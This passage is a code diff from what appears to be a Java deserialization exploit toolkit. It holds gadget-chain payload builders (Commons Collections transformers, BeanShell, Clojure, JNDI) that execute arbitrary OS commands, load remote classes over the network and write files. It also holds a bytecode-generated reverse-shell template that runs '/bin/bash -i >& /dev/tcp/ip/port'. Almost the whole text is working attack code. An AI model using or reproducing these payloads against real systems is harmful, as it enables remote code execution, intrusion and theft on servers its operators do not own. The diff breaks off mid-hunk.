transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||||
|
} else if (command.startsWith("BC-")) {
|
||||||
|
command = command.substring(3);
|
||||||
|
String bcelBytes;
|
||||||
|
|
||||||
|
if (command.startsWith("LF-")) {
|
||||||
|
CtClass ctClass = generateClass(command);
|
||||||
|
bcelBytes = generateBCELFormClassBytes(encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode());
|
||||||
|
} else {
|
||||||
|
bcelBytes = command;
|
||||||
|
}
|
||||||
|
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||||
|
} else if (command.startsWith("JD-")) {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)};
|
||||||
|
} else if (command.startsWith("LF-")) {
|
||||||
|
CtClass ctClass = generateClass(command);
|
||||||
|
|
||||||
|
if (USING_MOZILLA_DEFININGCLASSLOADER) {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||||
|
} else {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{getJSEngineValue(encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})};
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
|
||||||
|
}
|
||||||
|
return transformers;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String makeClojurePayload(String command) {
|
||||||
|
if (command.startsWith("TS-"))
|
||||||
|
return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")";
|
||||||
|
if (command.startsWith("RC-")) {
|
||||||
|
String[] strings = handlerCommand(command);
|
||||||
|
return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)";
|
||||||
|
}
|
||||||
|
if (command.startsWith("WF-")) {
|
||||||
|
String[] strings = handlerCommand(command);
|
||||||
|
return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)";
|
||||||
|
}
|
||||||
|
String cmd = join(java.util.Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\"");
|
||||||
|
return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static com.qi4l.JYso.gadgets.utils.jre.TCObject makeProxy(Class<?>[] interfaces, com.qi4l.JYso.gadgets.utils.jre.TCObject handler, com.qi4l.JYso.gadgets.utils.jre.Serialization ser) throws Exception {
|
||||||
|
return doMakeProxy(interfaces, handler, ser);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static com.qi4l.JYso.gadgets.utils.jre.TCObject doMakeProxy(Class<?>[] interfaces, Object handler, com.qi4l.JYso.gadgets.utils.jre.Serialization ser) throws Exception {
|
||||||
|
com.qi4l.JYso.gadgets.utils.jre.TCObject proxy = new com.qi4l.JYso.gadgets.utils.jre.TCObject(ser);
|
||||||
|
com.qi4l.JYso.gadgets.utils.jre.TCProxyClassDesc proxyDesc = new com.qi4l.JYso.gadgets.utils.jre.TCProxyClassDesc();
|
||||||
|
for (Class<?> intf : interfaces)
|
||||||
|
proxyDesc.addInterface(intf);
|
||||||
|
com.qi4l.JYso.gadgets.utils.jre.TCClassDesc desc = new com.qi4l.JYso.gadgets.utils.jre.TCClassDesc("java.lang.reflect.Proxy");
|
||||||
|
desc.addField(new com.qi4l.JYso.gadgets.utils.jre.TCClassDesc.Field("h", java.lang.reflect.InvocationHandler.class));
|
||||||
|
proxy.addClassDescData(proxyDesc, new com.qi4l.JYso.gadgets.utils.jre.TCObject.ObjectData());
|
||||||
|
proxy.addClassDescData(desc, (new com.qi4l.JYso.gadgets.utils.jre.TCObject.ObjectData()).addData(handler));
|
||||||
|
return proxy;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,27 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.beanshell;
|
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
|
|
||||||
public class BeanShellUtil {
|
|
||||||
|
|
||||||
public static String makeBeanShellPayload(String command) {
|
|
||||||
if (command.startsWith("TS-"))
|
|
||||||
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("-")[1]) * 1000) + "L);";
|
|
||||||
if (command.startsWith("RC-")) {
|
|
||||||
String[] strings = Utils.handlerCommand(command);
|
|
||||||
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();";
|
|
||||||
}
|
|
||||||
if (command.startsWith("WF-")) {
|
|
||||||
String[] strings = Utils.handlerCommand(command);
|
|
||||||
return "compare(Object QI4L, Object QI5L) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());";
|
|
||||||
}
|
|
||||||
|
|
||||||
return "compare(Object QI4L, Object QI5L) {new java.lang.ProcessBuilder(new String[]{" +
|
|
||||||
StringUtil.join(
|
|
||||||
Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.cc;
|
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
|
||||||
import javassist.CtClass;
|
|
||||||
import org.apache.commons.collections.Transformer;
|
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
|
||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
|
||||||
|
|
||||||
import javax.script.ScriptEngineManager;
|
|
||||||
import java.io.FileOutputStream;
|
|
||||||
import java.net.URL;
|
|
||||||
import java.net.URLClassLoader;
|
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER;
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.handlerCommand;
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
|
||||||
|
|
||||||
public class TransformerUtil {
|
|
||||||
|
|
||||||
public static Transformer[] makeTransformer(String command) throws Exception {
|
|
||||||
Transformer[] transformers;
|
|
||||||
String[] execArgs = {command};
|
|
||||||
|
|
||||||
if (command.startsWith("TS-")) {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("-")[1] + "000")}),};
|
|
||||||
} else if (command.startsWith("RC-")) {
|
|
||||||
String[] strings = handlerCommand(command);
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)};
|
|
||||||
} else if (command.startsWith("WF-")) {
|
|
||||||
String[] strings = handlerCommand(command);
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(1)};
|
|
||||||
} else if (command.startsWith("PB-lin")) {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
|
|
||||||
} else if (command.startsWith("PB-win")) {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("-")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})};
|
|
||||||
} else if (command.startsWith("SE-")) {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("-")[1]) + "');"})};
|
|
||||||
} else if (command.startsWith("DL-")) {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("-")[1]}}), new ConstantTransformer(1)};
|
|
||||||
} else if (command.startsWith("HL-")) {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("-")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
|
||||||
} else if (command.startsWith("BC-")) {
|
|
||||||
command = command.substring(3);
|
|
||||||
String bcelBytes;
|
|
||||||
|
|
||||||
// 对 BCEL 也支持 LF 扩展功能
|
|
||||||
if (command.startsWith("LF-")) {
|
|
||||||
CtClass ctClass = generateClass(command);
|
|
||||||
bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode());
|
|
||||||
} else {
|
|
||||||
bcelBytes = command;
|
|
||||||
}
|
|
||||||
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
|
||||||
} else if (command.startsWith("JD-")) {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("-")[1]}), new ConstantTransformer(1)};
|
|
||||||
} else if (command.startsWith("LF-")) {
|
|
||||||
CtClass ctClass = generateClass(command);
|
|
||||||
|
|
||||||
if (USING_MOZILLA_DEFININGCLASSLOADER) {
|
|
||||||
// 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
|
|
||||||
// 在 NC 中可以使用
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
|
||||||
} else {
|
|
||||||
// 使用 ScriptEngineManager JS eval 加载
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})};
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
|
|
||||||
}
|
|
||||||
return transformers;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.clojure;
|
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
|
|
||||||
public class ClojureUtil {
|
|
||||||
|
|
||||||
public static String makeClojurePayload(String command) {
|
|
||||||
if (command.startsWith("TS-"))
|
|
||||||
return "(java.lang.Thread/sleep " + (Integer.parseInt(command.split("-")[1]) * 1000) + ")";
|
|
||||||
if (command.startsWith("RC-")) {
|
|
||||||
String[] strings = Utils.handlerCommand(command);
|
|
||||||
return "(def urlStr (new String \"" + strings[0] + "\"))\n(def url (new java.net.URL urlStr))\n(def loader (new java.net.URLClassLoader (into-array [url])))\n(def clazz (.loadClass loader \"" + strings[1] + "\"))\n(.newInstance clazz)";
|
|
||||||
}
|
|
||||||
if (command.startsWith("WF-")) {
|
|
||||||
String[] strings = Utils.handlerCommand(command);
|
|
||||||
return "(def path (new String \"" + strings[0] + "\"))\n(def out (new java.io.FileOutputStream path))\n(def byts (.getObject \"" + strings[1] + "\"))\n(.write out byts)";
|
|
||||||
}
|
|
||||||
String cmd = StringUtil.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\").split(" ")), " ", "\"", "\"");
|
|
||||||
return String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)(println \"QI4L\")", cmd);
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.jre;
|
|
||||||
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
|
|
||||||
public class Util {
|
|
||||||
|
|
||||||
public static TCObject makeProxy(Class<?>[] interfaces, TCObject handler, Serialization ser) throws Exception {
|
|
||||||
return doMakeProxy(interfaces, handler, ser);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static TCObject doMakeProxy(Class<?>[] interfaces, Object handler, Serialization ser) throws Exception {
|
|
||||||
TCObject proxy = new TCObject(ser);
|
|
||||||
TCProxyClassDesc proxyDesc = new TCProxyClassDesc();
|
|
||||||
for (Class<?> intf : interfaces)
|
|
||||||
proxyDesc.addInterface(intf);
|
|
||||||
TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy");
|
|
||||||
desc.addField(new TCClassDesc.Field("h", InvocationHandler.class));
|
|
||||||
proxy.addClassDescData(proxyDesc, new TCObject.ObjectData());
|
|
||||||
proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler));
|
|
||||||
return proxy;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -6,24 +6,22 @@ import org.objectweb.asm.*;
|
|||||||
import static org.objectweb.asm.Opcodes.*;
|
import static org.objectweb.asm.Opcodes.*;
|
||||||
|
|
||||||
public class ReverseShellTemplate implements Template {
|
public class ReverseShellTemplate implements Template {
|
||||||
private String className;
|
private final String className;
|
||||||
private byte[] bytes;
|
private byte[] bytes;
|
||||||
private final String ip;
|
private final String ip;
|
||||||
private final int port;
|
private final int port;
|
||||||
|
|
||||||
|
|
||||||
public ReverseShellTemplate(String ip, int port) {
|
public ReverseShellTemplate(String ip, int port) {
|
||||||
this.ip = ip;
|
this.ip = ip;
|
||||||
this.port = port;
|
this.port = port;
|
||||||
this.className = "Exploit" + Utils.getRandomString();
|
this.className = "Exploit" + Utils.getRandomString();
|
||||||
|
|
||||||
generate();
|
generate();
|
||||||
}
|
}
|
||||||
|
|
||||||
public ReverseShellTemplate(String ip, String port, String className) {
|
public ReverseShellTemplate(String ip, String port, String className) {
|
||||||
this(ip, Integer.parseInt(port));
|
this.ip = ip;
|
||||||
|
this.port = Integer.parseInt(port);
|
||||||
this.className = className;
|
this.className = className;
|
||||||
|
|
||||||
generate();
|
generate();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -39,122 +37,84 @@ public class ReverseShellTemplate implements Template {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void generate() {
|
public void generate() {
|
||||||
ClassWriter cw = new ClassWriter(0);
|
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
|
||||||
FieldVisitor fv;
|
|
||||||
MethodVisitor mv;
|
|
||||||
|
|
||||||
cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
|
cw.visit(V1_6, ACC_PUBLIC | ACC_SUPER, className, null,
|
||||||
|
"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);
|
||||||
|
|
||||||
|
cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null).visitEnd();
|
||||||
|
cw.visitField(ACC_PRIVATE, "port", "I", null, null).visitEnd();
|
||||||
|
|
||||||
|
MethodVisitor mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
|
||||||
|
mv.visitCode();
|
||||||
|
Label startTry = new Label();
|
||||||
|
Label endTry = new Label();
|
||||||
|
Label catchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(startTry, endTry, catchBlock, "java/lang/Exception");
|
||||||
|
|
||||||
|
mv.visitVarInsn(ALOAD, 0);
|
||||||
|
mv.visitMethodInsn(INVOKESPECIAL,
|
||||||
|
"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet",
|
||||||
|
"<init>", "()V", false);
|
||||||
|
|
||||||
|
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
|
||||||
|
mv.visitLdcInsn("/");
|
||||||
|
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals",
|
||||||
|
"(Ljava/lang/Object;)Z", false);
|
||||||
|
Label unixBlock = new Label();
|
||||||
|
mv.visitJumpInsn(IFEQ, unixBlock);
|
||||||
|
|
||||||
|
mv.visitInsn(ICONST_3);
|
||||||
|
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
|
||||||
|
mv.visitInsn(DUP);
|
||||||
|
mv.visitInsn(ICONST_0);
|
||||||
|
mv.visitLdcInsn("/bin/bash");
|
||||||
|
mv.visitInsn(AASTORE);
|
||||||
|
mv.visitInsn(DUP);
|
||||||
|
mv.visitInsn(ICONST_1);
|
||||||
|
mv.visitLdcInsn("-c");
|
||||||
|
mv.visitInsn(AASTORE);
|
||||||
|
mv.visitInsn(DUP);
|
||||||
|
mv.visitInsn(ICONST_2);
|
||||||
|
mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
|
||||||
|
mv.visitInsn(AASTORE);
|
||||||
|
mv.visitVarInsn(ASTORE, 1);
|
||||||
|
|
||||||
|
mv.visitLabel(startTry);
|
||||||
|
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
|
||||||
|
"()Ljava/lang/Runtime;", false);
|
||||||
|
mv.visitVarInsn(ALOAD, 1);
|
||||||
|
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec",
|
||||||
|
"([Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||||
|
mv.visitInsn(POP);
|
||||||
|
mv.visitLabel(endTry);
|
||||||
|
mv.visitJumpInsn(GOTO, unixBlock);
|
||||||
|
|
||||||
|
mv.visitLabel(catchBlock);
|
||||||
|
mv.visitVarInsn(ASTORE, 2);
|
||||||
|
mv.visitVarInsn(ALOAD, 2);
|
||||||
|
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace",
|
||||||
|
"()V", false);
|
||||||
|
|
||||||
|
mv.visitLabel(unixBlock);
|
||||||
|
mv.visitInsn(RETURN);
|
||||||
|
mv.visitEnd();
|
||||||
|
|
||||||
|
mv = cw.visitMethod(ACC_PUBLIC, "transform",
|
||||||
|
"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V",
|
||||||
|
null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
||||||
|
mv.visitCode();
|
||||||
|
mv.visitInsn(RETURN);
|
||||||
|
mv.visitEnd();
|
||||||
|
|
||||||
|
mv = cw.visitMethod(ACC_PUBLIC, "transform",
|
||||||
|
"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V",
|
||||||
|
null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
||||||
|
mv.visitCode();
|
||||||
|
mv.visitInsn(RETURN);
|
||||||
|
mv.visitEnd();
|
||||||
|
|
||||||
{
|
|
||||||
fv = cw.visitField(ACC_PRIVATE, "ip", "Ljava/lang/String;", null, null);
|
|
||||||
fv.visitEnd();
|
|
||||||
}
|
|
||||||
{
|
|
||||||
fv = cw.visitField(ACC_PRIVATE, "port", "I", null, null);
|
|
||||||
fv.visitEnd();
|
|
||||||
}
|
|
||||||
{
|
|
||||||
mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
|
|
||||||
mv.visitCode();
|
|
||||||
Label l0 = new Label();
|
|
||||||
Label l1 = new Label();
|
|
||||||
Label l2 = new Label();
|
|
||||||
mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception");
|
|
||||||
Label l3 = new Label();
|
|
||||||
mv.visitLabel(l3);
|
|
||||||
mv.visitLineNumber(12, l3);
|
|
||||||
mv.visitVarInsn(ALOAD, 0);
|
|
||||||
mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
|
|
||||||
Label l4 = new Label();
|
|
||||||
mv.visitLabel(l4);
|
|
||||||
mv.visitLineNumber(13, l4);
|
|
||||||
mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
|
|
||||||
mv.visitLdcInsn("/");
|
|
||||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
|
|
||||||
Label l5 = new Label();
|
|
||||||
mv.visitJumpInsn(IFEQ, l5);
|
|
||||||
Label l6 = new Label();
|
|
||||||
mv.visitLabel(l6);
|
|
||||||
mv.visitLineNumber(14, l6);
|
|
||||||
mv.visitInsn(ICONST_3);
|
|
||||||
mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
|
|
||||||
mv.visitInsn(DUP);
|
|
||||||
mv.visitInsn(ICONST_0);
|
|
||||||
mv.visitLdcInsn("/bin/bash");
|
|
||||||
mv.visitInsn(AASTORE);
|
|
||||||
mv.visitInsn(DUP);
|
|
||||||
mv.visitInsn(ICONST_1);
|
|
||||||
mv.visitLdcInsn("-c");
|
|
||||||
mv.visitInsn(AASTORE);
|
|
||||||
mv.visitInsn(DUP);
|
|
||||||
mv.visitInsn(ICONST_2);
|
|
||||||
mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");
|
|
||||||
mv.visitInsn(AASTORE);
|
|
||||||
mv.visitVarInsn(ASTORE, 1);
|
|
||||||
mv.visitLabel(l0);
|
|
||||||
mv.visitLineNumber(16, l0);
|
|
||||||
mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
|
|
||||||
mv.visitVarInsn(ALOAD, 1);
|
|
||||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
|
|
||||||
mv.visitInsn(POP);
|
|
||||||
mv.visitLabel(l1);
|
|
||||||
mv.visitLineNumber(19, l1);
|
|
||||||
mv.visitJumpInsn(GOTO, l5);
|
|
||||||
mv.visitLabel(l2);
|
|
||||||
mv.visitLineNumber(17, l2);
|
|
||||||
mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, "[Ljava/lang/String;"}, 1, new Object[]{"java/lang/Exception"});
|
|
||||||
mv.visitVarInsn(ASTORE, 2);
|
|
||||||
Label l7 = new Label();
|
|
||||||
mv.visitLabel(l7);
|
|
||||||
mv.visitLineNumber(18, l7);
|
|
||||||
mv.visitVarInsn(ALOAD, 2);
|
|
||||||
mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
|
||||||
mv.visitLabel(l5);
|
|
||||||
mv.visitLineNumber(22, l5);
|
|
||||||
mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);
|
|
||||||
mv.visitInsn(RETURN);
|
|
||||||
Label l8 = new Label();
|
|
||||||
mv.visitLabel(l8);
|
|
||||||
mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, l7, l5, 2);
|
|
||||||
mv.visitLocalVariable("command", "[Ljava/lang/String;", null, l0, l5, 1);
|
|
||||||
mv.visitLocalVariable("this", "LReverseShell;", null, l3, l8, 0);
|
|
||||||
mv.visitMaxs(4, 3);
|
|
||||||
mv.visitEnd();
|
|
||||||
}
|
|
||||||
{
|
|
||||||
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
|
|
||||||
mv.visitCode();
|
|
||||||
Label l0 = new Label();
|
|
||||||
mv.visitLabel(l0);
|
|
||||||
mv.visitLineNumber(27, l0);
|
|
||||||
mv.visitInsn(RETURN);
|
|
||||||
Label l1 = new Label();
|
|
||||||
mv.visitLabel(l1);
|
|
||||||
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
|
|
||||||
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
|
|
||||||
mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
|
|
||||||
mv.visitMaxs(0, 3);
|
|
||||||
mv.visitEnd();
|
|
||||||
}
|
|
||||||
{
|
|
||||||
